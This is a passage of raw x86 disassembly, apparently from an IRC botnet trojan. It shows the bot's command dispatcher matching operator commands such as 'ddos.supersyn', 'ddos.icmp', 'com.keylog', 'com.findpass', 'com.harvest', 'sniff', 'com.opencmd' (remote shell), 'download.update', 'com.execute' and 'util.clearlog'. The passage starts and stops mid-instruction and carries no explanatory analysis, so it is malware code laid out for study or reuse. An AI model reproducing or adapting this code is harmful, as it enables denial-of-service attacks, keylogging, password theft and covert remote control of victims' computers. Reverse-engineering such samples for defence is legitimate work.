eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_437FC8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 25E041Ch nop jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 2630B7Ah push eax push offset unk_437F7C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_437E50 loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aScanall ; "scanall" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B34 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B34 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE6 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE6 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AD1 push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AD1 push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA7 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA7 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8E push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8E push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FC push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FC push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139D0 push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139D0 push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413975 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413975 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41393A push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41393A push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413850 push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413850 push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413832 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413832 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413751 push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413751 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413716 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413716 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136CB push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136CB push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413645 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413645 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_437B80 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_437B40 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h call near ptr 25E041Ch nop jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj nop call near ptr 2630B7Ah push eax push offset unk_437AF4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_437AA8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_437A70 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_437A18 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4379DC loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_4379AC jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_43797C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h nop call near ptr 25E041Ch jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j call near ptr 2630B7Ah nop push eax push offset unk_437930 loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43F738, ebx jz short loc_410EB2 cmp dword_43F760, ebx jz short loc_410EB2 push offset dword_4378E0 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_4378AC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_43787C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_43782C jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_4377FC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_4377C4 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_437798 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4854j ; sub_40EE72+4B7Bj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_437768 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_43773C loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4849j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B37j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413402 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413402 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413314 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413314 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E2 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E2 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328C push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328C push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413226 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413226 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BD push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BD push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413183 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413183 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413115 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413115 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413090 push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413090 push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413024 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413024 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFE push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFE push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F9B push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F9B push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED2 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED2 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E35 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E35 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CB1 push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CB1 push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1E push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1E push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1D push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1D push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ACB push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ACB push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129CA push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129CA mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DF push [ebp+arg_8] push offset 